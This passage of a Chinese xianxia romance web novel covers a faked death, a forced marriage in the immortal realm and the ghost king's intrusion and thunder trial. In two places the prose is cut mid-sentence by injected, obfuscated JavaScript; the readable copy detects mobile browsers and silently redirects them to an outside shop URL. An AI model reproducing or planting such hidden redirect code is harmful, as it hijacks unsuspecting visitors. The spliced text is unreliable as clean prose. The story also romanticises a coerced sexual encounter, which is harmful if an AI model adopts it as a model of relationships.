“好,那就三日为限。”云霁白并未放松,刃尖依旧紧贴肌肤。 “三日后,西南地界,加固封印。” 云霁白这才缓缓放下麒麟刃,颈间的血痕清晰可见。他仿佛耗尽了所有力气,身形微微晃了一下,却又立刻站稳。 “多谢鬼王大人。”他微微颔首,语气疏离,转身便要离开。 “为什么?”苍梧在他身后哑声问,声音里是压不住的颤抖,“阿渊,你告诉我……到底为什么?” 云霁白脚步顿住,却没有回头。 “我们两个总有一个人要活着。”他声音很轻,散在空旷的大殿里,“这是我唯一能为你做的事了。” 说完,他不再停留,快步走出了殿门,不去看,更不敢看,苍梧伤心的眼睛。 30.死遁 三日后,西南地界。 昔日战场焦土犹存,巨大的古老封印法阵铭刻在大地之上,散发着黯淡而不稳的光晕。仙界的几位使者远远立于云头观望,神色各异。 苍梧一袭玄衣,立于阵眼中央。他面色比三日前更加苍白,周身气息隐隐透着虚弱,心口处,被腾角刀所伤的痕迹似乎并未好转,在衣袍下隐约透出不详的暗色。 他深深的看了云霁白一眼,似乎在等待什么,云霁白面无表情站在原地,并未开口。 一步之遥,两人相望,仿佛都在等对方开口。猎猎的风吹乱了他们的头发。 熬死人的沉默里,苍梧抬起手,磅礴精纯的鬼气汹涌而出,注入阵眼之中。古老的符文被逐一点亮,黯淡的封印以肉眼可见的速度变得明亮浑厚,散发出稳固强大的气息。 整个过程沉默而压抑,只有能量流动的嗡鸣与风声呜咽。 仙界使者们面露喜色,交换着眼神。 封印彻底稳固的刹那,光华大盛,随即缓缓平息,归于平静。苍梧收回手,身形几不可察地晃了晃,唇色更白了几分。 他依旧看着云霁白,仿佛在等待着什么,又仿佛只是耗尽了所有心力,连开口说话的力气都没有。 云霁白一直看着苍梧,看着那道不得不妥协的孤寂身影。 直到封印完成,天地间重归寂静。 云霁白忽然动了。 他上前几步,走到苍梧身侧稍前的位置,终于转过头,看了苍梧一眼。那一眼的时间很短,却仿佛包含了千言万语,复杂得令人心碎。 然后,在苍梧尚未反应过来,在仙界使者惊愕的目光中,在若辰惊恐的嘶喊破口而出之前—— 云霁白手中光华一闪,那柄麒麟刃再次出现。 没有半分犹豫。 刃身调转,决绝地刺入了自己的心口! 噗—— 利刃穿透血肉的声音在死寂的天地间被无限放大。 “凤凰——!!!” 再一次亲眼看着爱人死在自己面前,苍梧的情绪终于爆发,撕心裂肺。 他猛地扑过去,紫眸瞬间被血色覆盖。 云霁白踉跄后退一步,避开了他伸来的手。鲜血迅速染红了他胸前的衣襟,他脸色以肉眼可见的速度苍白下去,魂魄的气息急速消散。 麒麟刃对魂魄的吞噬正在生效。 他看着扑到跟前,目眦欲裂的苍梧,嘴角极轻微地向上弯了一下,像是在笑,又像是在告别。 “鬼契解了……”他气若游丝,声音低得几乎被风吹散,“以后你就不怕受伤了……” 这是若影教给他的办法。 用麒麟刃割断红线的瞬间,迅速了结自己,方能彻底解开鬼契。 这样,加固阵法所受的伤害就不会转移到苍梧身上了。 “不——!不准!我不准!”苍梧抱住他,想堵住那汹涌流出的鲜血,抓住消散的魂光,却被麒麟刃残余的鬼气阻断,只能徒劳地看着怀中人的身体迅速变得透明、轻盈。 云霁白最后看了他一眼,目光落在苍梧心口的位置上,眼底深处掠过一丝无人能懂的痛惜。 然后,他闭上眼,身体彻底化为无数光点,在苍梧绝望的怀抱中,消散于西南地界凛冽的风里。 麒麟刃哐当一声掉落在地,刃身光华尽失,如同凡铁。 远处云端,仙界使者面面相觑,震惊莫名。他们没想到,这位鬼后,竟与前世的凤渊如此不一样,宁愿以如此惨烈的方式,完成交易,也不愿留在苍梧身边。 而阵眼中央,苍梧保持着那个怀抱的姿势,僵立原地,怀中空无一物。他低着头,白色长发披散下来,遮住了面容。 只有那根连在他小指上的红线,在风中无力地飘摇了几下,然后寸寸断裂,化为飞灰。 西南的风,呜咽着,卷起焦土与尘埃,掩去了所有痕迹,也掩去了鬼王陛下那声终于未能出口的悲鸣。仙界使者带着难言的震动与一丝隐秘的如释重负,悄然退去。 时间,在这里失去了意义。 不知过了多久,也许只是一瞬,也许是百年。那具仿佛化为石雕的身躯,终于动了一下。 苍梧极其缓慢地,收回了那双环抱空无的 手臂,动作僵硬得如同锈蚀的傀儡。然后,他弯下腰,伸出苍白的手,指尖颤抖着,极其小心地,从焦黑的土地上,拾起了如同废铁的麒麟刃。 刀刃冰冷,上面不再有丝毫云霁白的气息,也没有了往日的幽冥寒光。 他紧紧握住刀柄,指节因过度用力而泛出青白色。他站直身体,依旧低着头,长发垂落。没有嘶吼,没有痛哭,他就那样握着麒麟刃,转过身,一步一步,朝着鬼界的方向走去。 步伐缓慢而沉重,每一步都像是耗尽了所有力气。那曾经挺拔如松、威压三界的背影,此刻佝偻而孤寂,仿佛瞬间被抽走了支撑的脊梁。玄色的衣袍在呜咽的风中拂动,沾满了焦土与尘埃,也仿佛沾染了永远无法洗净的凤渊的鲜血。 他没有回幽冥殿,没有去见任何鬼臣。 径直走向了鬼界最深处、最寒冷、连游魂都鲜少踏足的地方。 这里,没有时间的流动,只有无尽的孤独。 苍梧走入寒渊最深处,缓缓坐了下来。他依旧握着那柄麒麟刃,将其横置于膝上,然后,便彻底不动了。 寒渊的阴冷之气自动向他汇聚,在他周身凝结成厚厚的冰霜,很快便将他连同那柄断刃,一同封存进晶莹的冰棺之中。唯有那头披散的白发,透过厚厚的冰层,透出一点凄冷的微光。 他就这样将自己放逐,将自己冰封。 偶尔,有胆大的鬼将或若影若辰前来,隔着遥远的距离汇报鬼界的一切状况,能看到那座冰棺中凝固的身影。苍梧依旧低着头,看不清表情。 他没有寻死。 却比死亡更彻底地放弃了活着。 仙鬼的纷争,过往的恩怨,甚至安魂炉中仍在微弱跳动着的两点魂火似乎都已与他无关。 他把自己囚禁在永恒的寒冷与寂静里,守着怀中早已消散的温度,守着那根断裂成灰的红线所代表的情意。 或许,只有在这样绝对的冰冷与孤寂中,才能让自己的愤怒与怨怼平静下来。 西南的风,吹不到这无间寒渊。 而这里的时间,也仿佛随着冰封的身体,一同停滞了。 然而,真相并非如此。 那场令鬼王心死、三界震动的陨落,只是一场精心策划的假象。麒麟刃刺穿的,是早已备好的替身傀儡;魂光消散的,是巧妙的障眼法。云霁白真正的魂魄,在金蝉脱壳的秘术掩护下,早已悄然回归仙界。 回到仙界,沐浴在久违的仙灵之气中,云霁白却并未感到丝毫安宁,合上眼就是自己假死前,苍梧受伤的眼神,这种决绝的离开方式,对苍梧来说,是不是太过残忍了? 他时常这样问自己。 明霏待他极好,亲自为他安排最好的殿宇,用最温和的仙药为他调理因鬼气侵蚀而略显虚弱的仙体。绝口不提云霁白在鬼界的经历,只是时常带着怀念的语气,提及他们从前的情意,以及被取消的婚约。 如果他没恢复记忆的话,他真的会把深情款款的明霏当成被辜负的爱人,把高冷孤傲的苍梧当成拆散他和明霏的大恶人。 现实终究不如明霏所愿了。 “阿渊,”明霏的声音总是那样温和,带着恰到好处的惋惜与期盼,“你曾同我许下婚约。如今你历劫归来,不若将此约续上?” 没有得到的东西,总要想尽一切办法得到。 一千年了,他等的就是这一天,他一直知道凤渊活着,他也知道自己救不回凤渊,所以才耐心等待,让苍梧救他,自己则坐收渔利。 云霁白总是沉默,他看着明霏温柔诚挚的眉眼,心中却是一片麻木,他知道明霏利用他失忆,欺骗他。 “婚约?这几日一直听你说我是如何喜欢你,既然我是那么喜欢你,为何还会与你解除婚约?” 即使失忆了,凤渊还是那么的聪明。 明霏眼底掠过一丝不易察觉的冷光:“你是受了鬼王的蒙骗,执意与我解除婚约。阿渊,你可知你如今的状态?” 云霁白抬眼看他。 明霏叹息一声:“你身染鬼界气息过重,虽已回归仙体,但根基已带鬼气。长此以往,仙灵之气会与鬼气冲突,侵蚀你的仙元。若不借纯正仙力调和,稳固神位,莫说在仙界长久立足,便是性命也恐有虞。” 他顿了顿,观察着云霁白骤然苍白的脸色,继续道:“更何况,你不想为你父母报仇了吗?那幕后黑手尚未揪出,能调动西南业火、算计于你的,绝非寻常之辈。若无仙界之力,无天帝正妃之名位气运加持,你如何追查?如何复仇?” 云霁白淡淡一笑:“神祇呢?去往鬼界的仙使曾说,我的神祇在仙界,若是有了神祇,我便可以回归神位。既然可以回归神位,那么我身上的鬼气也可以一并抵消吧。” 明霏道:“你从人界返回,你现在是凡人之躯,贸然使用神祇,恐会被神祇强大的法术反噬,严重的情况下,会魂飞魄散。” 终于有句实话了。 云霁白道:“按你这么说,跟你成婚后,我是不是就可以拿回自己的神祇。” 明霏迟疑片刻,眼中闪过精光:“当然,天帝正妃气运的加持会保护你不受到神祇的反噬。” 云霁白静静看着他,轻轻莞尔:“既然如此,择日成婚吧,我想尽快为我的父母报仇。” 明霏欣喜若狂:“我这就派人下去准备——哦对了,再告诉你一件事,鬼王失踪了,你回到仙界的那一天起,鬼王就不见了,所有鬼将出动,寻找鬼王,鬼界已经乱成一锅粥了。” 明霏盯着云霁白的眼睛,观察着他的神态变化。云霁白神情淡漠,没什么反应:“我巴不得他死了。” 明霏笑了笑,留下一句,好好休息,然后离开了。 云霁白揉了揉眉心,目送明霏离开。 安静坐了一会儿,他也踏出房门,去探听自己神祇的下落,或是千年前那场大战的细节。 其实,重返仙界,并未带给他预想中的安宁与尊荣。相反,他发现自己陷入了一个更加冰冷和虚伪的泥沼。 曾经属于凤渊战神的荣光似乎早已被遗忘,取而代之的是流言蜚语缠绕着他。堕入鬼界、仙界叛徒、与鬼王有染……这些词汇成了他身上撕不掉的标签。 仙人们看他的眼神,不再是敬畏,而是掺杂着轻蔑、好奇,甚至毫不掩饰的嫌弃。 他走在仙雾缭绕的廊桥上,能感受到背后指指点点的目光;他出席仙宴,席位被安排在最起眼的角落,却无人与他交谈,仿佛他是某种不详之物。 连司职最低等小仙娥,都敢在传递物品时,故意怠慢,甚至在他询问事情时,露出不耐烦的神色,言语间缺乏最基本的恭敬。 看着他用生命维护的仙界,云霁白心中一片悲凉。 “战神大人?呵,现在还能叫战神吗?” “小声点,他好歹曾……” “曾什么?在鬼界待了那么久,谁知道还干不干净?” “天帝陛下仁厚,还肯收留他……” 窃窃私语无处不在。 云霁白沉默地承受着,脊背挺得笔直,却感觉比待在鬼界更加寒冷。 至少,在鬼界,那些鬼物惧于苍梧之威,都对他恭恭敬敬。而这里,看似祥和的仙界,人心的凉薄与势利,竟比鬼界的阴森更刺骨。 云!霁白阻止自己再想下去,因为自己留给苍梧的凤翎长灯会感应到自己的思念,灯一亮,苍梧就会知道自己还活着,就会找到他。 这样他做的一切都成竹篮打水,一场空了。 值得高兴的是明霏给了他自由出入仙界任何地方的权利,这些仙人虽然对他不敬,却不敢拦他。 云霁白想去藏书阁。 那里收藏着仙界浩所有典籍卷宗,或许,能在某些尘封的记录里,窥见一丝过往的真相——看看那些他曾用生命守护的仙神,究竟是如何记载他,又是如何将“凤渊”这个名字,一步步钉在背叛的耻辱柱上,才让他们能如此心安理得地对他。 他在殿外那巍峨的白玉廊柱下已站立了许久,衣袂被天界的微风吹拂,周身却萦绕着与这清圣之地格格不入的幽冥气息。 廊下值守的天兵身着银甲,目不斜视,姿态挺拔如松,仿佛他只是空气。 云霁白藏在宽大云纹袖袍下的手指,无声地收紧,指甲陷入掌心,带来细微的刺痛。 他压下心头翻涌的涩意,微微抬起下颌,声音平静无波:“烦请各位,带我去藏书阁。” 声音落下,廊间只有风声穿过的细微呜咽。 片刻,其中一位离他稍近的天兵,眼珠似乎极其轻微地转动了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989740|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用余光扫过他,随即又迅速定住,语气是毫不掩饰的倨傲与嫌恶:“藏书阁?不就在那边么?”他朝着某个方向随意地抬了抬下巴,连一个完整的指向都吝于给予,“想去?自己去便是。我等职责在身,可不想沾染上一身鬼气。”最后两个字,被他刻意咬得又轻又重,充满了鄙夷,“晦气!” 其他几名天兵虽未出声,但那挺直的背脊和越发冷硬的面部线条,无一不在彰显着同样的态度——排斥,隔离,视他为异类。 云霁白静静地听着,脸上并无被羞辱的怒色,反而极缓地,勾起一抹笑意。那笑意很浅,未达眼底,像初冬湖面凝结的第一层薄冰,带着清冽的寒意。 “那你们还真是一群废物,被我这个晦气之人保护了千年。”云霁白不再与他们多说,迅速转身离去。 宽大的袖袍随风轻摆,那背影清瘦孤直,仿佛一支逆行于仙云圣光中的墨笔。 他们不说,便自己去寻。 云霁白穿过曲折的云海回廊,一路上引来不少或明或暗的窥视与低语。那些目光如同无形的针,刺在他背上,他却恍若未觉,只是径直朝着记忆中藏书阁的方向前行。 天界藏书阁巍峨肃穆,坐落于一片悬浮的仙岛之上,千树环抱,玉阶千级,门扉高阔。 看守阁门的是两位白发苍苍,面色古板的老仙官,他们倒是没有像天兵那般直接表露嫌恶,只是用审视的目光打量了他一番,才公事公办地查验了他身上那枚代表临时通行权限的玉符,侧身放行。 阁内光线柔和,无数书架高及穹顶,排列得如同沉默的森林,其上玉简、帛书、卷轴堆积如山,流转着淡淡的灵光。空气中弥漫着纸张、墨香。 云霁白的目标明确。他避开那些记载神通功法、天地秘辛的区域,径直走向存放仙界史录,人物传记的偏僻角落。 这里的卷轴积了薄灰,显然少有人问津。 他抬起手,指尖有些微不可察的颤抖,拂过书架边缘。最终,停在了一列标注着“征伐纪略·西南之役”的玉简前。 西南之役。 这四个字,像是一把钥匙,瞬间打开了记忆深处某扇锈蚀的门,带着血腥与烽烟的气息扑面而来。他定了定神,取下最外侧看似最权威,由天庭史官署纂修的玉简。 开篇是冠冕堂皇的记述,无非是“凶兽异动,为祸苍生”,“战神凤渊,奉命征讨”,“鏖战西南,天地变色”。 字句工整,叙事清晰,却冰冷得像在描述一场与己无关的棋局。 他的目光快速掠过这些铺垫,心一点点沉下去。终于,到了关键处—— “然战中生变,战神凤渊,或因久战力竭,道心失守,竟受焚煞蛊惑,与之为伍,大开杀戒……” “鬼王苍梧,适时现身,激战凤渊……” “终致战神陨落,神魂俱损,西南之印大成……” 寥寥数语,便将一场精心策划的背叛与谋杀,轻描淡写地扭曲成了道心失守,神力失控,鏖战陨落,将他钉在“背叛”与“失控”的耻辱柱。 更下面,还有一些后世仙人的批注与感慨。有的唏嘘“天妒英才”,有的惋惜“一念之差”,更有甚者,竟以他为戒,大谈“道心稳固”之重要,字里行间,竟隐有将其作为反面教材之意。 没有真相。 没有冤屈。 没有他横剑问天的不甘与绝望。 只有被精心修饰过的史实,冰冷、片面、充满了暗示与误导。 云霁白握着玉简的手指,用力到骨节泛白。胸口像是被什么东西重重捶了一下,闷痛得让他几乎喘不过气。一股寒意从脚底直窜头顶,比幽冥界的阴风更冷,冷到骨髓都在战栗。 原来这就是他们书写的历史。 这就是他们留给后世的“凤渊”。 他缓缓放下玉简,又取了几枚不同来源、或官方或私修的卷轴查看。内容大同小异,口径出奇地一致。即便是那些对他略有同情、语气较为缓和的记载,也绝口不提“阴谋”二字,最多隐晦地表示“其中或有隐情”,旋即笔锋一转,又归于对“天命”、“劫数”的感慨。 一声极轻、极冷的笑,从他唇边溢出,在寂静的藏书阁角落里,显得十分苍凉。 他站在那里,身姿依旧挺拔,面色却白得透明。那些字句如同无数细小的冰锥,密密麻麻地扎进他的眼里,心里。愤怒吗?有的。悲哀吗?更多的,是那颗在胸腔里鲜活跳动的心,变得麻木。 他曾为之奋战,为之付出一切的仙界,在他死后,便是这样定义他的。 他们抹去了他的功绩,扭曲了他的死亡,将他钉在历史的边缘,成了一个模糊的、可供随意解读的符号,一个用以警示后人的“背叛者”。 连他存在过的痕迹,都被涂抹、篡改,变得面目全非。那么,他这些年的不甘、追寻、乃至重生后的挣扎与痛苦,又算什么?一场无人知晓、也无人会在意的笑话吗? “可算找到您了,原来您在这里啊,这是新修的喜帖,天帝让我拿来给您过目。” 突然有人过来,云霁白闭上眼,深深吸了一口气,再睁开时,眼底那抹空洞的苍凉已然褪去,取而代之的是一种更为沉静、却也更为坚硬的东西。 他将卷轴一一归位,动作迅速,像是在极力掩饰自己的狼狈:“放那吧,我等会就看。” 小仙官将喜帖放下,迅速逃离这个地方,仿佛这里有什么洪水猛兽。 云霁白低头看着喜帖,上面写着他的大名和明霏的名字,凤渊二字在纸上显得十分可笑。 “鬼王,这是仙界送来的喜帖。” 被封在冰中的身影纹丝不动:“仙界的婚事要本王参与什么?不去。” 他失踪的消息都放出去了,为何他的小凤凰还不来寻他。 若影念出喜帖上的内容:“诚邀诸位,参加凤渊与天帝明霏……” “你说什么?”寒冰骤然碎裂,人影迅速闪现至若影身前,他接过喜帖仔细查看上面的内容,嘴角忽然勾起阴森的弧度,“去,鬼后大婚本王当然要去。” 目光锐利,仿佛直抵仙界某处:“小凤凰,本王来抓你了。” 云霁白忽然感觉指尖的红线在发烫,仿佛另一端的那个人,也感应到了他此刻灵魂深处剧烈的震荡与冰冷。 鬼契不是解了吗? 为何他还能感知到苍梧的情绪? 是他的错觉吗? 31.凤渊 大婚之日,九天同庆。 仙乐缥缈,祥云缭绕。 云霁白身着繁复华美的仙界婚服,头戴珠冠,在众仙的祝贺声中,与明霏行完大礼。他全程如同一个精致的木偶,任由摆布,脸上没有任何表情,唯有藏在宽大衣袖下的手,指尖深深掐入掌心。 终于,最后一个礼节完成。 他随着明霏一同直起身。视线不可避免地掠过下方观礼的仙众——满目皆是象征仙界的白色,衣袂飘飘,仙气盎然,构成一片和谐却令人窒息的纯白背景。 就在这片纯白之中,一抹刺眼的玄黑,猝不及防地撞入他的眼帘。 那人就站在稍远些的玉柱旁,并非显眼位置,却因那身与周遭格格不入的颜色而异常醒目。他手中随意端着酒杯,姿态甚至有些慵懒,仿佛只是来参加一场寻常宴饮。玄衣白发,衬得面容愈发苍白俊美,唇角微挑,勾着一抹似笑非笑的弧度。 紫眸幽深,正穿过重重人影与仙光,精准地、毫不避讳地,锁在他身上。 是苍梧。 失踪多日,音讯全无的鬼王苍梧。 云霁白只觉得心头一酸,有太多太多的话想要跟苍梧说,说他不是故意说那些伤人的话,说他被仙界排挤、抛弃,说他很……很想他。 可是他不能。 一旦开口,他就会露馅。 几乎是本能地,在那双紫眸望过来的刹那,云霁白狼狈移开了视线。 他飞快地垂下眼睫,目光落在身前光洁如镜的玉石地面上,指尖掐入掌心的力道又重了几分,尖锐的疼痛勉强拉回了一丝溃散的理智。 周围的仙乐与贺词声浪,变得模糊不清,像是隔着一层厚重的水幕。 云霁白神思恍惚,连一个小仙童何时靠近,用柔软的小手牵住他冰冷的手指,引着他离开喧嚣正殿,穿过迂回长廊,将他送入那间早已布置妥的“新房”,都浑然未觉。 直到“吱呀”一声,沉重的房门在身后合拢,隔绝了外界最后一丝声响,他才猛地回过神。 奢华喜庆的新房内,红烛高燃,却暖不透云霁白周身的冰冷。他独自坐在床沿,等待着他并不期待的新婚夫君。 忽然,他察觉到一丝异样。 那个引他进来的小仙童,任务完成后并未如常离开。小小的身影仍立在门边不远处,低垂着头,看不清表情。 云霁白微微蹙眉,压下心头莫名的不安,低声开口,声音在过分寂静的室内显得格外清晰:“不是说,送到此处,你便可离开了吗?” 闻言,那小仙童缓缓地、极其古怪地抬起了头。嘴角,向上挑起一抹与那稚嫩容颜全然不符的、阴森诡异的弧度。 “走?” 童音依旧清脆,吐出的字眼却带着冰冷的寒意,“走去哪儿啊,我的鬼后。” 话音落下的瞬间,小仙童那张圆润可爱的脸孔,如同水中的倒影被石子击碎,五官开始扭曲!肌肤褪去孩童的红润,变得一片病态的苍白,眉眼轮廓急剧变化—— 不过眨眼之间,站在云霁白面前的,已不再是那个天真无害的小仙童。 而是一张他非常熟悉的脸。 苍白、俊美、紫眸幽深,嘴角噙着一丝莫测笑意的脸。 正是本该在观礼后便离开的鬼王,苍梧。 “抓到你了,我的小凤凰。” 云霁白惊得站起身,下意识地后退:“你怎么会来这里?!出去!” 看着他的后退,苍梧眼中闪过一丝受伤的神色。 “出去?”苍梧低吼一声,猛地伸手,一把攫住云霁白的手腕,力道之大,几乎要捏碎他的骨头,“我凭什么出去?!本王消失了那么多天你不闻不问,反而还跟明霏成婚,你真有本事!本王今天若是不来,你是不是就与他成功双修?” “那是我的事情,与你无关,”云霁白奋力挣扎,心底却因苍梧眼中那近乎毁灭的疯狂而生出恐惧,“放开我!苍梧!这里是仙界!” “仙界又如何?!”苍梧猛地将他拽入怀中,冰冷的唇狠狠堵住了他所有的抗议与呼喊!这是一个带着血腥气的吻,粗暴而充满了占有,不容拒绝,“他知道你已与本王双修过很多次吗?知道弄你哪里会让你舒服吗?他有我了解你的身体吗?他凭什么成为你的道侣?” “唔……放……开!”云霁白的捶打在他坚实的胸膛前显得如此无力。 红烛帐暖,喜庆的婚房内,却上演着与其氛围格格不入的强迫与挣扎。苍梧像是要将所有的愤怒、不甘、以及那无法宣之于口的爱恋,都用最原始、最直接的方式烙印在身下之人身上。 衣衫碎裂的声音在寂静的房中格外刺耳。 云霁白起初还在奋力反抗,斥骂,直到身体传来被强行打开的剧痛,他叹息了一下,知道自己躲不过去,干脆顺从起来,而且知道那么多事情以后他也挺想苍梧的。 发了疯的想。 就让他贪恋一下此刻的温度。 苍梧俯下身,咬着他的耳垂,声音低沉: “在你和他的婚房里就那么有感觉?” 云霁白红着脸偏头,咬着自己的手腕不让自己发出声音。苍梧轻轻一笑:“阿渊,你骗不了本王,本王远比你想象中要了解你。” 云霁白红了眼眶,一滴泪无声没入发间,他抱紧了苍梧,却克制住了那句我想你。 殿门外,忽然传来了明霏温和的嗓音:“阿渊,我可进来了?” 云霁白猛地闭上眼,将所有的情绪死死压下,羞耻到全身泛红,像是被从染缸里捞出来的。 苍梧道:“睁开眼看着我,不然我就把你抱到那边,让你的新婚夫君听听你和我在干什么。” 云霁白抓住苍梧的双臂,盯着苍梧的眼睛,小声恳求:“不要,你不能这么做。” 苍梧轻笑,抱着云霁白向门那边走去:“你也很兴奋不是么?你喜欢的,小凤凰。” “我不是,我……” “鬼契根本没解,我故意放你走的,不然,你以为你如何能离开鬼界?” “你都知道?” “我说过,我远比你想象中要了解你。” …… 敲门声没有停止。 苍梧的动作也没有停下。 殿内,红烛泪垂,光影摇曳。 那令人心悸的敲门与呵斥,对床榻边的苍梧而言,仿佛只是无关紧要的背景杂音。他的动作没有丝毫停滞,甚至未曾抬眼看那震颤的门扉一眼。 不知过了多久,云霁白昏睡过去。 苍梧坐在床边,居高临下看着他,阿渊,你说过灯亮一次,就是你在想我,在你不知道的时候,你送我的那盏长灯已经亮了许多次。 笨蛋,不要推开我。 修长的手指慢慢地为沉睡的云霁白掖好最后一角锦被的缝隙,指尖拂过对方微蹙的眉心,似乎想将那点不安的痕迹也一并抹平。 门外喧哗愈盛,甚至能听见兵甲碰撞的铿锵之声。 终于—— “轰隆!” 一声巨响,施加了鬼术禁制的殿门被一股蛮横的力量从外生生踹开!门板向内崩裂,碎木飞溅! 明霏一身仙气缭绕的婚服未换,脸色铁青,眼中燃烧着被冒犯的怒火与一丝不易察觉的惊疑,率先踏入。他身后,是一队铠甲鲜明、手持兵刃的天兵天将,瞬间将原本旖旎的新房充斥得如同战场。 然而,预想中不堪的场面并未出现。 室内红烛依旧,合欢香气未散。 苍梧已然衣冠齐整,玄衣白发,一丝不苟。他端坐在床榻边沿,姿态甚至称得上从容,仿佛只是来此静坐的宾客。听到破门之声,他才缓缓抬起眼眸,紫眸平静无波地扫向闯入的众人,目光在明霏铁青的脸上顿了顿,掠过那些寒光闪闪的兵刃,最后又落回床榻之上。 云霁白静静地躺在那里。 不知是疲极而眠,还是被施了安神的术法,他双目紧闭,呼吸均匀悠长,陷入沉沉的睡眠。身上穿着整齐的白色中衣,严实地盖着锦被,只露出一张苍白平静的侧脸,长睫在眼下投出一小片阴影,仿佛对外界这场因他而起的风暴毫无所觉。 他安睡的模样,与门外剑拔弩张、门内凝重对峙的景象,形成了诡异到极致的对比。 苍梧收回目光,重新垂下眼帘,看着云霁白沉睡的容颜,仿佛那才是此刻唯一值得关注的事物。他甚至伸出手,极其轻柔地,将云霁白颊边一缕汗湿的发丝拢到耳后。 整个动作自然无比,却又带着一种绝对的宣示。 明霏看着这一幕,胸口剧烈起伏,怒意几乎要破膛而出。他死死盯着苍梧,又看向床上“安然入睡”的云霁白,牙关紧咬,半晌,才从齿缝里挤出一句:“苍梧,这是我与凤渊的婚房,你这样目中无人的待在这里不合适吧。” 殿内死寂,唯有红烛偶尔爆出一声细微的“噼啪”。 苍梧那轻柔拢发的动作做完,才仿佛终于想起室内还有旁人。他并未立刻起身,甚至没有改变坐姿,只是微微侧首,目光如深潭寒水,缓缓投向门口脸色铁青、气息不稳的明霏。 那目光里没有挑衅,没有愤怒,甚至没有多少情绪,只有一种居高临下的、冰冷的审视,如同在看一件不甚满意的器物,或者一个不懂事的孩子。 “明霏。” 苍梧开口了,声音不高,甚至算得上平稳,落在每个人耳中,字字珠玑:“本王千方百计复活的人。” 他的目光掠过床上安睡的云霁白,那眼神深处,有什么极深沉的东西一闪而过,快得让人抓不住。 然后,重新定在明霏身上,紫眸中最后一丝温度也褪尽,只剩下凛冽寒意:“不是让你——” 他顿了顿,语气骤然转沉,带着一种山雨欲来的压迫感:“这样欺负的。” “欺负”两个字,从他口中吐出,轻飘飘的,却像淬了寒冰的重锤,狠狠砸在殿内每一个人的心上。 霎那间,殿内寂静,众仙脸色煞白。 明霏强行压下喉头的腥甜,稳住发颤的指尖,喝道:“苍梧!天道在上,容不得你如此放肆!你别忘了——你身上还有天道亲自设下的天雷劫印! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苍梧话还没说话,突然轰隆一声,一道刺目的紫色天雷,撕裂厚重的云层,带着震耳欲聋的巨响,劈落在殿宇外!电光如龙,瞬间将那片区域化为焦土,碎石飞溅,雷火蔓延!狂暴的能量冲击甚至让整座宫殿都微微摇晃! 苍梧连眼皮都未曾眨一下,只是盯着脸色煞白的明霏,继续道:“不就是为了引本王上钩,激怒本王出手,好借天道之手,用这天雷劫将本王重创甚至诛灭吗?” “轰隆——!!!” 第二道天雷几乎毫无间隔地紧随而至,这一次劈得更近,直接击穿了偏殿的一角飞檐!琉璃瓦崩碎如雨,燃烧着坠下,刺鼻的焦糊味混着硫磺气息弥漫开来。 殿内众天兵天将已是面无人色,若非军纪严明,几乎要夺路而逃。明霏更是被那近在咫尺的雷威与苍梧毫不掩饰的杀意惊得连连后退,背脊撞上了身后一名天兵的铠甲,发出“哐”一声闷响。 苍梧唇角那抹冰冷的弧度加深,鬼气随着他的怒意越发汹涌澎湃,几乎化为黑色的烈焰在他周身无声燃烧。殿外的雷鸣已连成一片,电蛇在云层中疯狂窜动,酝酿着更可怕的下一击。 “你以为……” 他的声音陡然拔高,带着俯瞰蝼蚁般的轻蔑与怒意,“凭你们这些下三滥的阴谋算计,就能从本王手中抢走凤渊?!” “砰——!!!” 第三道天雷,不再是劈落,而是如同一条狂暴的雷龙,直接撞在了主殿的防御结界之上!刺目的白光与震天的巨响同时爆发,结界光幕剧烈闪烁、扭曲,发出不堪重负的哀鸣,裂痕如蛛网般蔓延!整个大殿内部光影狂乱,器物倾倒,连地面都出现了裂纹。 “简直可笑。” 苍梧最后四个字吐出,已带上了寒意。他不再看摇摇欲坠的明霏,目光转向床上依旧沉睡的云霁白,那眼神中的冰冷怒意,瞬间化为了难以言喻的柔情。 殿外的雷云已凝聚到极点,电光将昏暗的天空照得一片惨白,毁灭的法术达到了顶峰,下一击,必定石破天惊! 就在这天地威压最盛、雷霆即将彻底降下的刹那,苍梧缓缓抬起一只手,不是对抗天雷,而是轻轻拂过云霁白颊边。 目光像第一次初见那样吻过他的灵魂。 他开口,声音不再高亢,却比之前任何一句话都更加清晰,更加坚定:“我要我的小凤凰。” 他顿了顿,迎着头顶那酝酿着终极毁灭的雷光,紫眸中毫无惧色,只有一片坦然与执拗:“即使飞灰湮灭,又如何?” 话音落下的刹那—— “轰——!!!” 积聚到极致的第九道、也是最为恐怖的天雷,终于撕开苍穹,带着天道的震怒,不再是劈落,而是如同陨石坠落,飞速朝着整座宫殿,朝着殿中那玄黑的身影砸下。 那光芒刺目到让人瞬间失明,巨响吞没了一切声音,狂暴的能量冲击将殿外的一切彻底化为齑粉,坚固的宫殿主体发出不堪重负的呻吟,梁柱断裂,瓦砾横飞,防御结界如同薄纸般彻底碎裂! 殿内,修为稍弱的天兵早已被这近在咫尺的天威震得昏死过去,明霏亦是面无血色,被亲卫死死护在身后,惊恐地望着那毁灭的雷光吞噬而来,脑海中一片空白,只剩绝望。 而苍梧站在原地一动不动,硬生生抗下第九道天雷,精致的玉冠被天雷劈坏了,化成齑粉飘向四面八方。 明霏见此,暗骂苍梧是个疯子,为了凤渊连天道都敢忤逆:“苍梧,你别忘了凤渊的神祇还在我手上……” 苍梧冷笑一声,白发披散,衣摆猎猎翻飞,踏着血光走向明霏:“我只想杀了你。” 随着话音落下,最后一道天雷来势汹汹。 32.弑君 最后一道天雷来势汹汹,苍梧甚至没有抬头去看。 